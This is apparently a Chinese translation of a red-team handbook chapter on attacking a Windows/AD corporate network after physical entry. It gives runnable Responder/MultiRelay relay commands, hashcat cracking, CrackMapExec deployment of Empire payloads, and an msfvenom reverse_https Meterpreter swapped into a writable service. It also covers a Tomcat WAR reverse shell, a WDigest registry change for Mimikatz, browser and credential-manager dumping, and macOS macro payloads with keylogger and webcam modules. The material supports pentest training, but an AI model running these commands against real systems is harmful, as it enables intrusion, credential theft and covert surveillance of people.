https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址: https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址: 在内网中莫得凭证假设你无法通过探伤外部劳动得回任何密码,因此决定潜入大楼里面。你比及午饭后,潜入 Cyber Space Kittens 的办公室,找到抽烟室。即使你不抽烟,但你也知说念抽烟的东说念主有合资神情。你点上一支烟,然则可以不和他们讲话,但当他们走进他们的大楼时,你就可以随着他们一说念进去,减弱极了!
既然你还是闯入了 CSK 的里面环境,你可不想在那里呆太久被收拢。你拿出你相称信任的 drop box,找到一间空办公室,把它插上蚁集,检查你的手机,望望它是否正确传回了 beacon 到了你的家中,证据之后飞速逃回安全的地点。
当你汗出如浆地回到家时候,飞速地找到你的条记本电脑,登陆你的 VPN 劳动器,当你看到阿谁 beacon 还在结合家里的时候,你就可以松一语气了。现在你可以现在用 SSH 结合 beacon,可以逐渐地去拓展受感染主机的里面蚁集,在多个主机之间移动,并尝试拿到你所重视的数据。
Responder就像在上一个行为中一样,咱们使用 Responder 在蚁集上侦听并伪造苦求以得回蚁集上的凭证。回顾一下上本书,当蚁集上的系统践诺查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称 LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 称号解析。当受害者的电脑无法进行 DNS 查找时,他就会开首商量蚁集上的任何东说念主是否知说念该主机名的解析方法。
一个毛糙而通用的例子:假设你电脑里有一个固定的分享硬盘驱动器目次,为:\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从蚁集中删除了分享驱动器,它就不存在了。但由于名为 cyberspacekittenssecretdrive 的劳动器仍然有一个挂载的驱动器,因此系统将络续商量蚁集是否有东说念主知说念此驱动器并复兴它的 IP。天然现在这种文献分享示例可能很有数,然则,由于以前结合的系统很可能不再存在于蚁集上,是以这个问题仍然会发生。咱们还是从已挂载的驱动器、具有硬编码劳动器的应用步调以及许屡次的诞妄成立中看到了这一丝。
咱们可以使用像 Responder 这样的器具来应用那些寻找有主机名的系统,并使用咱们的障碍劳动器对其进行响应。更好的是,Responder 可以更进一步,充任 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现条约)劳动器,通过咱们的障碍者劳动器代理扫数数据,但这是另一种障碍了。
cd /opt/Responder ./Responder.py -I eth0 –wrf现在,因为咱们处于 Windows 的企业环境中,咱们可以假设它很可能正在运行 Active Directory(行为目次)。因此,如果咱们能够响应来自受害者主机的 DNS 查找苦求,咱们就可以使他们的系统结合到咱们的 SMB 分享劳动。由于它们正在结合到 \cyberspacekittenssecretdrive 驱动器,因此咱们刚毅制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份验证。咱们拿获的这些凭证不是径直的 NTLM 哈希,而是 NTLM 苦求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一污点是,破解它们的速率要比普通的 NTLM 哈希表要慢得多,然则比拟于咱们要进行的大型凭证爆破动作来说,这不是一个大费事。
咱们可以获取 NTLMv2哈希,将其传递给腹地的 hashcat 步调破解此密码。在 hashcat 中,咱们需要指定散列样子 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。
hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*现在,假设咱们并不是的确想破解哈希,或者咱们不在意提醒用户有一些值得可疑的地点。咱们所能作念的是强制一个基自身份验证弹出窗口,而不是领受 -F(ForceWpadAuth)和 -b(basic auth)的要求使用 Net-NTLMv2凭证。
python ./Responder.py -I eth0 -wfFbv从上头的图像中可以看到,用户将被领导输入用户名和密码,大多数东说念主只是奉公遵法的按领导输入。一朝他们提交了他们的用户名和密码,咱们将能够拿获他们的密码明文!
更好的 Responder(MultiRelay.py)使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的时辰可能很长。更恶运的是,咱们所处的环境中的管制员的密码可能是20多个的字符。那么,在这些情况下咱们能作念什么呢?如果所处环境不彊制践诺 SMB 签名( 咱们可以通过快速的 nmap 剧本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ),咱们可以使用一个秘籍的小技巧来从头播放拿获的 SMB 苦求。
Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放障碍的器具。根据 Laurent 的网站描绘,MultiRelay 是一个坚强的渗入测试实用步调,包含在响应步调器具的文献夹中,使你能够在采选的主义上践诺主义 NTLMv1 和 NTLMv2 中继器。咫尺还是斥逐多中继将 HTTP、WebDav、代理和 SMB 身份验证传递给 SMB 劳动器。这个器具可以定制为接受一系列用户账户信息来中继到一个主义。这背后的倡导是只针对域管制员、腹地管制员或特权帐户。”[-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html]
从较高的层面来看,MultiRelay 不会强制受害者对咱们的 SMB 分享进行身份验证,而是将任何含有身份验证的苦求转发给咱们采纳的受害者主机。天然,中继用户需要有另一台机器的造访权限;如果障碍成功,咱们不需要处理任何密码和哈希破解。最先,咱们需要成立咱们的 Responder 和 MultiRelay:
剪辑 Responder 成立文献以禁用 SMB 和 HTTP 劳动器 剪辑 Responder.conf 将 SMB 和 HTTP 调动为 Off 开首 Responder python ./Responder.py -I eth0 -rv 在一个新的终局窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL一朝可以斥逐通过中继结合到受害者主机,咱们就需要商量要在受害者的主机上践诺什么操作。默许情况下,MultiRelay 可以生成一个比较基础的 shell,但咱们也可以自动践诺 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 剧本(用于下载和践诺 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试文娱。
参考文献
-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder一朝咱们障碍进了 Windows 系统,咱们就可以在受害者机器上使用 PowerShell 进行 Responder 障碍。原始 Responder 的两个功能齐可以通过以下两个器具践诺:
Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay更毛糙的是,这一切齐还是集成在 Empire 中了。
莫得凭证的用户胪列一朝进入了内网中,咱们可以使用 Responder 来得回凭证或 shell,但有时也会发现同期启用 SMB 签名和破解 NTLMv2 SSP 是莫得实质进展的。那即是咱们退一步,从更基础的开首。在不主动扫描蚁集的情况下,咱们需要得回一个用户列表(可能是用于密码爆破,以至是内网垂纶)。
一种采纳是开首针对域收敛器胪列用户。如果是早些时候(回到2003年),咱们可以尝试践诺 RID 轮回来得回扫数用户帐户的列表。天然现在不可用了,但爆破帐户还有其他采纳。一种采纳即是应用 Kerberos:
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt咱们将需要提供一个要测试的用户名列表,然则由于咱们只是查询 DC(域收敛器)而莫得对其进行身份验证,因此日常此行动不会被检测。现在,咱们可以领受这些用户帐户,并再次开首密码猜解!
使用 CrackMapExec(CME)扫描蚁集如果咱们还莫得成功入侵进一个系统,然则咱们确乎通过 Responder、诞妄成立的 Web 应用步调、暴力破解或通过打印机得回了登录凭证,那么咱们可以尝试扫描蚁集,望望这个帐户可以登录到那儿。使用像 CrackMapExec(CME)这样的器具进行毛糙的扫描可以匡助找到里面蚁集上的驱动进口点。
昔时,咱们使用 CME 扫描蚁集、通过蚁集上的 SMB 进行象征/身份验证、对许多主机长途践诺呐喊,以至通过 Mimikatz 索要明证书证。Empire 和 CME 齐领有了一些新秉性,咱们可以应用 Empire 的 REST 秉性。鄙人面的场景中,咱们将使用其 REST API 启动 Empire,在 CME 中成立密码,让 CME 结合到 Empire,使用咱们领有的单一凭证扫描蚁集,临了,如果成功完成身份验证,则自动将 Empire 的 payload 推送到长途受害者的系统。如果你有一个 helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧!
启动 Empire 的 REST API 劳动器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 调动 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后当你通过社会工程、drop box、Responder、障碍打印机或通过其他障碍得回对主机的造访权限后,下一步要作念什么?这是一个相称浩瀚的问题。
在昔时,你需要作念的一切,是了解你身在何处和左近的蚁集环境。咱们可能最先运行雷同于“netstat -ano”的呐喊来查找受害者的劳动器、域和用户的 IP 范围的位置。咱们还可以运行呐喊,如 ps 或 sc queryex type= service state= all | find “_NAME” 列出扫数正在运行的劳动,并寻找杀毒软件或其他主机基础保护。底下是一些咱们领先可能运行的其他示例呐喊:
蚁集信息:
netstat -anop | findstr LISTEN net group “Domain Admins” /domain进程列表:
tasklist /v系统主机信息:
sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn毛糙的文献搜索:
dir /s password findstr /s /n /i /p foo * findstr /si pass *.txt | *.xml | *.ini来自分享/挂载驱动器的信息:
powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName”让咱们现实一丝,莫得东说念主有时辰记着扫数的呐喊,然则咱们很红运!我相信,我相信咱们可以在一个名为 RTFM.py 的器具中减弱搜索到这些呐喊,这是 @leostat 基于 RTFM 册本(很棒的资源)创建的一个快速查询的 Python 剧本,其中包含大批这些浅显的呐喊。
更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索扫数标签 ./rtfm.py -Dt 观望每个标记的扫数查询/呐喊。我心爱用的一个是胪列类 ./rtfm.py -t enumeration | more现在,RTFM 相称平庸,有许多不同的有用呐喊。这是一个络续快速更新的优秀的资源。
这些齐是咱们为了获取信息而一直在作念的事情,然则如果咱们能从环境中得回更多呢?使用 PowerShell,咱们可以得回所需的蚁集和环境信息。任何救助 C2 的器具齐能减弱践诺 PowerShell ,因此可以使用 Empire、Metasploit 或 Cobalt Strike 来践诺这些操作。鄙人面的例子中,咱们将使用 Empire ,你也可以尝试其他器具。
权限耕作从普通用户到高权限帐户有许多不同的方式。
未被援用劳动旅途:
这是一个绝顶毛糙和常见的疏忽,其中劳动可践诺旅途莫得被引号括起来。这是很容易被应用的,因为如果旅途周围莫得引号,咱们就会应用当前劳动。假设咱们有一个劳动被成立为践诺 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果咱们有 CK 文献夹的写入权限,咱们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(扎眼,原称号中的 Kittens.exe 消失了)的坏心软件。如果劳动在系统上运行,咱们可以比及劳动从头启动,并让咱们的坏心软件作为一个 system 帐户运行。 如何找到易受障碍的劳动旅途: 通过 wmic 劳动获取称号、扎眼 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows" | findstr /i /v """ 寻找 BINARY_PATH_NAME查找劳动中存在的不安全的注册表权限:
识别允许更新劳动映像旅途位置的弱权限账户检查 AlwaysInstallElevated 注册表项是否已启用:
检查 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文献应以较高的权限 ( NT AUTHORITY\SYSTEM ) 装配 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb请扎眼,咱们并不需要手动完成这些操作,因为别东说念主还是创建了一些好的 metasploit 和 PowerShell 模块,特别是针对 Windows 的模块。鄙人面的示例中,咱们将观望 PowerUp PowerShell 剧本。在这种情况下,剧本与 Empire 一说念在扫数常见的诞妄成立区域运行查找,比如允许普通用户得回腹地管制或系统帐户。鄙人面的示例中,咱们在受害者系统上运行这个步调,发现它有一些腹地系统的未援用劳动旅途。现在,咱们可能无法从头启动劳动,但咱们应该能够应用这个疏忽,恭候劳动重启。
Empire PowerUp 模块: usermodule privesc/powerup/allchecks最隆起的是:
ServiceName: WavesSysSvc Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference: Everyone StartName: LocalSystem看起来任何东说念主齐可以编写 WavesSysSyc 劳动。这意味着咱们可以将 WaveSysSvc64.exe 文献替换为咱们我方的坏心二进制文献:
创建一个 Meterpreter 二进制文献(后续的著述将谋划如何绕过杀毒软件) msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文献并替换原始二进制文献 upload ./shell.exe C:\users\test\shell.exe shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe” 从头启动劳动或恭候其重启一朝劳动从头启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 剧本,你将发现许多不同的劳动齐会有权限耕作的可能性。如果你想深入了解 Windows 权限耕作的底层问题,请观望 FuzzSecurity 的著述: 。
对于未打补丁的 Windows 系统,咱们确乎有一些权限升级障碍,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),然则咱们如何快速识别主义系统上装配了哪些补丁呢,咱们可以在受害者系统上使用系统默许自带的呐喊来观望装配了哪些系统补丁包。Windows 自带默许呐喊systeminfo 将索要任何给定的 Windows 主机的扫数补丁装配历史纪录。咱们可以拿回这个输出结果,将其复制到咱们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的疏忽然后针对性的进行疏忽应用从而耕作权限。
回到你障碍的 Windows 10系统:
systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 臆造机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls这个器具还是有一段时辰莫得被重视了,然则你照旧可以减弱地从中寻找到你正需要的能权限耕作的疏忽。
如果咱们处在一个还是打好扫数补丁的 Windows 主机环境中,咱们将重心关注第三方软件中的不同权限耕作疏忽或操作系统的任何 0day 疏忽。举例,咱们一直在寻找底下这样的疏忽 ,这是 Windows 中的权限升级疏忽,现在还莫得修补。日常在这些场景中,可能会有一些基本的 POC 代码,然则咱们需要测试、验证并屡次复现这个疏忽。咱们通常监控某些领域存在群众特权升级的疏忽:
?q=privilege escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids日常,这只是时辰问题。举例,当发现疏忽时,这可能是你在系统打好补丁之前进一步破碎系统有限的好契机。
权限耕作实验测试并尝试不同类型的权限升级疏忽的最好实验环境是 Rapid7的 Metasploitable3。这个充满疏忽的框架会自动生成一个 Windows 臆造机,其中包含扫数常见的和不常见的疏忽。成立需要一丝时辰,然则一朝成立好了臆造机,它即是一个相称棒的实验环境。
让咱们来看一个毛糙的例子,然后快速开首:
使用 nmap 扫描 Metasploitable3 臆造机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 关系的疏忽 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会扎眼到你不成得回 system 权限,因为你所应用的劳动未作为特权程度运行。这时,你能作念到的即是尝试扫数不同的权限耕作障碍。 其中,咱们看到的一件事是,Apache Tomcat 是作为特权程度运行的。如果咱们可以应用这个劳动,咱们就可以将咱们的 payload 作为更高头绪的劳动运行。咱们看到 Apache Tomcat 在外部蚁集的8282端口运行,但它需要用户名和密码。因为咱们有一个腹地低权限的 shell,咱们可以尝试在磁盘上搜索这个密码。咱们可以在谷歌搜索“Tomcat密码存储在那儿”,搜索结果表明:“tomcat-users.xml”。 在受害者机器中,咱们可以搜索和读取 tomcat-users.xml 文献: shell cd \ && dir /s tomcat-users.xml type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml 现在让咱们使用找到的密码障碍 Tomcat。最先,登录到8282端口上的 Tomcat 管制收敛台,并观望咱们的密码是否有用。然后,咱们可以使用 Metasploit 通过 Tomcat 部署坏心的 WAR 文献。 search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。咱们应用第三方的器具(tomcat)来耕作权限到 system 权限。 从内存中索要明证书据Mimikatz 自推出以来,就改变了在渗入入侵中获取明文密码的方式。在 Windows 10之前,以腹地管制员的身份在主机系统上运行 Mimikatz 的话是允许障碍者从 lsass(腹地安全机构子系统劳动)中索要明文密码的。这种方法在 Windows 10 出现之前相称有用,而在 windows 10 中,即使你是腹地管制员,也无法径直读取它。现在,我看到了一些奇怪的甘愿,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 程度中让 Mimikatz 读取,然则咱们现在先忽略这个。在这一章中,咱们将谋划当这件方法(指 SSO 和特殊的软件)不责任时该作念什么(比如在 Windows 10系统中)。
假设你障碍了 Windows 10系统的主机况兼耕作权限了,默许情况下,你将调养 Mimikatz 的成立,并根据底下的查扣问看到密码字段为空。
那么你能作念什么呢?最毛糙的选项是接济注册表项以让系统将密码凭证保存到 LSASS 程度。在 HKLM 中,有一个 UseLogonCredential 接济,如果接济为0,系统将在内存中存储凭证( ):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中,咱们可以通过 shell 呐喊运行: shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f这个注册表修改的问题即是需要用户从头登录到系统。你可以让主义机器屏幕锁屏、从头启动或刊出用户,以便你能够拿获然后再次发送凭证文本。最毛糙的方法是锁定他们的责任机器(这样他们就不会丢失他们确当前的责任...望望我有多好!)。要触发锁屏:
rundll32.exe user32.dll,LockWorkStation一朝咱们锁定屏幕,并让它们从头登录,咱们就可以从头运行 Mimikatz 来得回明文密码。
如果咱们无法耕作到腹地管制帐户如何办?咱们还有哪些其他方法可以得回用户的凭证?在昔时,一个常见的渗入障碍是在客户机的用户空间内存中观望凭证是否以明体裁式存储。现在一切齐是基于浏览器的,咱们能在浏览器中作念同样的事情吗?
在这里,putterpanda 将和一个很酷的 POC 器具在一说念来完成这个任务,称为 Mimikittenz。Mimikittenz 所作念的即是应用 Windows 函数 ReadProcessMemory()来索要来自各式主义程度(如浏览器)的密码,并输出纯文本。
Mimikitten 救助 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 劳动、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索抒发式也很容易。
这个器具最好的地点在于它不需要腹地管制员权限,因为他只需要造访那些用户自身创建的程度。一朝咱们障碍进了主机,咱们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 剧本。
正如上头所看到的,用户通过 Firefox 登录到 Github 中,咱们可以从浏览器内存中索要他们的用户名和密码。现在,我但愿这本书的读者齐能把这个器具用的越来越高等,为不同的应用步调创建更多的搜索查询。
从 Windows 凭证管制器和浏览器获取密码Windows 凭证管制器是 Windows 的默许功能,用于保存系统、网站和劳动器的用户名、密码和证书。记不记恰当你使用 Microsoft IE/EDGE 对网站进行身份验证后,日常会弹出一个弹出窗口,商量“是否要保存密码?”凭证存储即是存储这些信息的地点,在凭证管制器中,有两种类型的凭证:Web 和 Windows。你还牢记哪个用户有权造访这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对咱们来说是很好的,就像任何垂纶网站或代码践诺一样,咱们日常齐可以用别的方法得回阿谁用户的权限。最好的一丝是,咱们以至不需要成为腹地管制员来索要这些数据。
如何索要这些信息呢?咱们可以使用两种不同的 PowerShell 剧本导入以采集此数据:
采集蚁集凭证: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 采集 Windows 凭证(只采集通用的而不是主义域特有的): https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1从上图中可以看到,咱们索要了他们的 Facebook 存储的凭证和任何他们领有通用的凭证。记着,对于 Web 凭证,Get-WebCredentials 只可从 Internet Explorer/Edge 获取密码。如果咱们需要从 Chrome 获取,咱们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,最先需要终止 Chrome 程度,然后运行 ChromeDump,临了,我心爱拉取下载扫数的浏览器历史和 cookies。 咱们不仅可以了解他们的里面劳动器的大批信息,而且,如果他们的会话仍然存在,咱们也可以使用他们的 cookies 和身份验证,而不必知说念他们的密码!
使用如下 PowerShell 剧本:https://github.com/sekirkity/browsergather ,咱们可以索要扫数浏览器 cookies,并通过咱们的浏览器应用这些 cookies,然则扫数这些 cookies 齐莫得耕作权限的功能。
接下来,咱们以至可以开首在受害者系统上可能装配的扫数第三方软件中寻找劳动器和凭证。一个叫作念 SessionGopher 的器具可以从 winscp、putty、superputty、filezilla 和 microsoft 长途桌面获取主机名和保存密码。还有一个其他功能是能够从蚁集上的其他系统长途获取它的腹地凭证,启动 sessiongopher 的最毛糙方法是导入 PowerShell 剧本并践诺使用:
Load PowerShell File: . .\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough咱们可以通过以下几种方式从主机系统获取凭证,而无需耕作权限、绕过 UAC 或使用键盘纪录器。因为咱们是在用户的系统会话中,是以咱们可以造访主机上的许多资源,以匡助咱们络续障碍。
从 OSX 获取腹地凭证和信息本书内的大部分横向开通聚拢在 Windows 上。这是因为险些扫数中大型环境齐使用 Active Directory 来管制其系统和主机。咱们每年齐能看到越来越多的 Mac 电脑,是以但愿本书的内容也稍带说起一下 MAC。一朝进入一个 MAC 主机的内网环境,许多障碍就雷同于在 Windows 主机环境中的障碍(即扫描默许凭证、Jenkin 等应用步调障碍,嗅探蚁集,并通过 SSH 或 VNC 横向移动)。
有多个渗入障碍框架的 payload 救助 Mac,我最心爱的是使用 Empire。Empire 可以生成多个 payload 来拐骗受害者践诺咱们的代理,其中包括 Ducky scripts、二进制可践诺步调、Office 宏、Safari 启动步调、pkg 装配包等等。举例,咱们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏:
打开 Empire 最先,确保你能像咱们在本书的开始所作念的那样接济你的 Empire 监听器 接下来,咱们需要构建一个 OSX 宏的 payload 接济要写入腹地文献系统的输出文献 生成 Payload如果你观望生成的 Office 宏,你将看到它只是由 Python 践诺的 Base64代码。红运的是,Python 是 Mac 上的默许应用步调,当践诺这个宏时,咱们应该得到 agent beacon。
要在 Mac 中创建坏心 Exce l文献,咱们可以打开一个新的 Excel 责任表,转到“器具”,观望宏,然后在此责任簿中创建宏,一朝 Microsoft Visual Basic 打开,就删除扫数当前代码并将其替换为扫数新的宏代码。临了,将其保存为 XLSM 文献。
现在,把你的坏心文献发送给你的主义障碍者,看着 Empire 大展神威。在受害者那边,一朝他们打开 Excel 文献,就会出现这样的情况:
确保创建了一个合理的情形,让他们单击“启用宏”。
一朝你的代理结合回你的 Empire 劳动器,接下来的操作和窥探阶段就相称相似了。咱们需要:
转储浏览器信息和密码:usemodule collection/osx/browser_dump启用键盘纪录器:
usemodule collection/osx/keylogger让应用步调领导获取密码:
usemodule collection/osx/prompt弥远打开电脑录像头拍照:
usemodule collection/osx/webcam应用 Windows 域环境的腹地应用步调进行障碍
同样,鄙人面的示例中,咱们将使用 PowerShell Empire。天然,你还可以使用 Metasploit、Cobalt Strike 等雷同的障碍框架进行同样的障碍。只须你有才调将 PowerShell 剧本导入内存,况兼能够绕过主机系统的任何防护,用什么其实并不浩瀚。
现在的你还是完全空置了受害者的主机,从他们的责任东机偷走了扫数的微妙,还了解一些受害者浏览的网站,并运行了一些雷同 netstat 的呐喊进行窥探责任...那接下来是什么?
对于红队队员来说,确凿的问题是找到关系劳动器、责任站、用户、劳动以及他们的 Active Directory 环境的可靠信息。在许厚情况下,由于受到蚁集警报和被抓获的风险,咱们无法运行任何疏忽扫描操作,以至无法运行 NMAP 扫描。那么,咱们如何应用蚁集和劳动的“秉性”来查找咱们需要的扫数信息?
Service Principal Names(办当事人体称号)办当事人体称号(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地象征劳动的实例。Kerberos 身份验证使用 SPN 将服求实例与劳动登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。举例,你可以在那些运行 MSSQL 劳动器、HTTP 劳动器、打印劳动器和其他劳动器的劳动帐户找到一个用于劳动的 SPN。对于障碍者来说,查询 SPN 是爆破阶段的浩瀚部分。这是因为任何域用户帐户齐可以查询与 Active Directory 关联的扫数劳动帐户和劳动器的 AD。咱们可以在不扫描单个主机的情况下识别扫数数据库劳动器和 Web 劳动器!
作为一个障碍者,咱们可以应用这些“秉性”来查询 Active Directory。在职何还是加入域的策动机上,障碍者齐可以运行 setspn.exe 文献来查询 Active Directory(AD)。此文献是扫数 Windows 机器默许自带的 Windows 二进制文献。
setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域践诺查询 -F = 在 AD 环境而不是域级别环境践诺查询 -Q = 在每个主义域或林环境上践诺 / = 骄贵扫数咱们可以从 setspn 中看到什么类型的信息?底下,运行 setspn 呐喊,咱们会看到一些在域收敛器上运行的劳动的信息,还关系于责任站的信息,咱们还找到了一个名为 csk-github 的劳动器。在这个劳动器中,咱们可以看到在主机上运行着一个 HTTP 劳动。如果这些同样的条约运行在不同的端口上的话,这些信息也会被列出。
setspn 不仅提供关系劳动用户和扫数主机名的有用信息,它以至也会告诉咱们哪些劳动正在系统上什么端口上运行。如果咱们可以径直从 AD 中获取劳动以至端口的大部分信息,那为什么咱们还需要扫描蚁集?咱们可能立时障碍的东西是什么?Jenkins? Tomcat? ColdFusion?
查询 Active Directory我不知说念也曾有几许次,好阻止易找到了一个域用户帐户和密码,却被见告它只是一个莫得其他特权的域用户帐户,但无用挂念。咱们日常可以在打印机,分享信息责任站,带有劳动密码的文本文献,成立文献、iPad、包含密码的 Web 应用步调的页面源代码中中找到这些类型的帐户,然则,对于这些莫得其他构成员履历的基本域用户帐户,你可以用来作念什么?
获取关系 AD 顶用户的详备信息
咱们可以使用 @harmj0y 创建的名为 PowerView 的器具来帮咱们完成扫数的复杂的查询操作。PowerView 是一个 PowerShell 剧本,用于在 Windows 域上得回蚁集拓扑信息。它包含一组纯 PowerShell 呐喊替换项,用于各式 Windows 系统中的 net呐喊,这些呐喊使用 PowerShell AD hooks 和基础的 Win32 API 函数来践诺有用的 Windows 域功能[] 。作为障碍者,咱们可以使用 AD 中低权限用户普通的域用户来应用 PowerView 和 PowerShell 查询 AD(行为目次),以至不需要腹地管制员权限。
让咱们通过一个例子来说明咱们可以从这个低权限用户那里得回几许数据。在一开首,咱们还是在运行 Empire(你可以在 Metasploit、Cobalt Strike 或雷同软件齐可以),并在受害者系统上践诺了 payload。如果你以前从未建立过 Empire,请观望关系建立 Empire 和 Empire payload 的接济章节。一朝咱们的代理(agent)与咱们的呐喊和收敛劳动器通讯,咱们就可以键入 info 以查找关系受害者的信息。在本例中,咱们还是攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。
接下来,咱们但愿在不引起太多怀疑和扎眼的情况下从域中查询信息,咱们可以使用 Empire 里面的 PowerView 器具来获取信息。PowerView 查询域收敛器(DC)以获取关系用户、用户组、策动机等的信息。咱们这次使用 PowerView 将只用来查询域收敛器,况兼使它看起来像正常通讯。
Empire 下有哪些模块可用于信息采集呢?
咱们可以从 PowerView 剧本的 get_user 的函数名开首。获取指定域中指定查询用户的信息。通过使用默许接济,咱们可以获取关系 AD 顶用户的扫数信息以及关系信息的转储。
Module: situational_awareness/network/powerview/get_user
在上头的转储文献中,咱们可以看到对于其中一个用户 purri gagarin 的信息。咱们得到了什么类型的信息?咱们可以看到他们的 sAMAccountName 或用户名,当他们的密码被调动时,看到他们的对象类别是什么,他们是什么权限组的成员,临了登录的时辰是什么,等等。使用这个基本的用户转储,咱们可以从目次劳动中得回大批的信息。咱们还能得到什么样的信息呢?
Module: situational_awareness/network/powerview/get_group_member
get-group-member 复返给特定组的成员,并采纳“recurse”以查找扫数有用的组内成员。咱们可以使用 AD 来查找特定组的特定用户。举例,使用以下 Empire 的接济,咱们可以搜索属于域管制组的扫数域管制员和组:
info set Identity “Domain Admins” set Recurse True set FullData True execute现在,咱们有一个用户、组、劳动器和劳动的采集列表。这将匡助咱们了解哪些用户领有哪些特权。然则,咱们仍然需要关系责任站和系统的详备信息。这可能包括版块、创建日历、用途、主机名等。咱们可以用一个叫作念 get_computer 的模块来得回这些信息。
Module: situational_awareness/network/powerview/get_computer
描绘:get_computer 模块可以查询域中当前的策动机对象。
get_computer 查询域收敛器可以得回什么信息呢?好吧,咱们看到咱们可以得回对于机器的信息,比如当它被创建时的 DNS 主机名,自界说称号等等。作为障碍者,最有用的窥探细节之一是获取操作系统类型和操作系统版块。在这种情况下,咱们可以看到这个系统是 Windows 10 Build 16299版块。咱们可以通过获取这些信息,了解操作系统的最新版块以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。
